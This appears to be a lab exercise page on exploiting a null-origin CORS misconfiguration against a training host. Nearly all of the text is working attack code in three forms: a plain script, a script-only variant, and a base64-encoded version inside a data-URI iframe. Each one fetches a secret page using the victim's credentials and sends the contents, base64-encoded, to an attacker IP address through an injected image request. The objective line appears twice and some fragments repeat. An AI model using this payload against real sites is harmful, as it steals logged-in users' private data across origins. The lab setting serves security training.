Null Origin Exploitation
Objective: Exploit the vulnerable application to perform Null Origin exploitation and steal the contents of the secret page.







Last updated
Objective: Exploit the vulnerable application to perform Null Origin exploitation and steal the contents of the secret page.







Last updated
<html>
<head>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var r = xhr.responseText;
console.log(r);
var d = btoa(r.split('<div class="my-4 text-2xl">')[1].split('</div>')[0].trim());
function steal() {
document.write('<img src="http://192.223.79.2:54321/' + d + '"/>');
}
steal();
}
}
xhr.open('GET', 'http://demo.ine.local/secret.php', true);
xhr.withCredentials = true;
xhr.send();
</script>
</head>
</html>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var r = xhr.responseText;
console.log(r);
var d = btoa(r.split('<div class="my-4 text-2xl">')[1].split('</div>')[0].trim());
function steal() {
document.write('<img src="http://192.190.158.2:54321/' + d + '"/>');
}
steal();
}
}
xhr.open('GET', 'http://demo.ine.local/secret.php', true);
xhr.withCredentials = true;
xhr.send();
</script><html>
<head>
<iframe src="data:text/html;base64,PHNjcmlwdD4KICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgIHhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsKICAgICAgICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSkgewogICAgICAgICAgICB2YXIgciA9IHhoci5yZXNwb25zZVRleHQ7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHIpOwogICAgICAgICAgICB2YXIgZCA9IGJ0b2Eoci5zcGxpdCgnPGRpdiBjbGFzcz0ibXktNCB0ZXh0LTJ4bCI+JylbMV0uc3BsaXQoJzwvZGl2PicpWzBdLnRyaW0oKSk7CiAgICAgICAgICAgIGZ1bmN0aW9uIHN0ZWFsKCkgewogICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwOi8vMTkyLjE5MC4xNTguMjo1NDMyMS8nICsgZCArICciLz4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzdGVhbCgpOwogICAgICAgfQogICAgfQogICAgeGhyLm9wZW4oJ0dFVCcsICdodHRwOi8vZGVtby5pbmUubG9jYWwvc2VjcmV0LnBocCcsIHRydWUpOwogICAgeGhyLndpdGhDcmVkZW50aWFscyA9IHRydWU7CiAgICB4aHIuc2VuZCgpOwo8L3NjcmlwdD4K"></iframe>
</head>
</html>